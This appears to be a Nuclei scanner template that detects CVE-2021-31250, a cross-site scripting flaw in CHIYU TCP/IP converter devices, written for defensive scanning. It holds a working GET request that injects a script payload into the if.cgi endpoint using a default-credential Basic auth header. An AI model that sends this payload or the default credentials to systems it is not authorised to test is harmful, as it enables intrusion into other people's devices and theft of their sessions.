id: CVE-2021-31250

info:
  name: CHIYU TCP/IP Converter - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: CHIYU BF-430, BF-431 and BF-450M TCP/IP Converter devices contain a cross-site scripting vulnerability due to a lack of sanitization of the input on the components man.cgi, if.cgi, dhcpc.cgi, and ppp.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being rendered in web pages.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31250
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-31250
    cwe-id: CWE-79
    epss-score: 0.79605
    epss-percentile: 0.99555
    cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chiyu-tech
    product: bf-430_firmware
  tags: cve2021,cve,chiyu,xss,iot,intrusive,chiyu-tech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"

    headers:
      Authorization: Basic OmFkbWlu
    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body
        words:
          - '"><script>alert({{randstr}})</script>'
# digest: 4a0a004730450221008d452b6a1820fda61018ebdd9f83cda17d7507122eb2ab846f5172b9de4a2f5a02203f44ca28b12b966ceff3c7b24209ae2db53d9c499af4bfb30ded33fc73a891a7:922c64590222798bb761d5b6d8e72950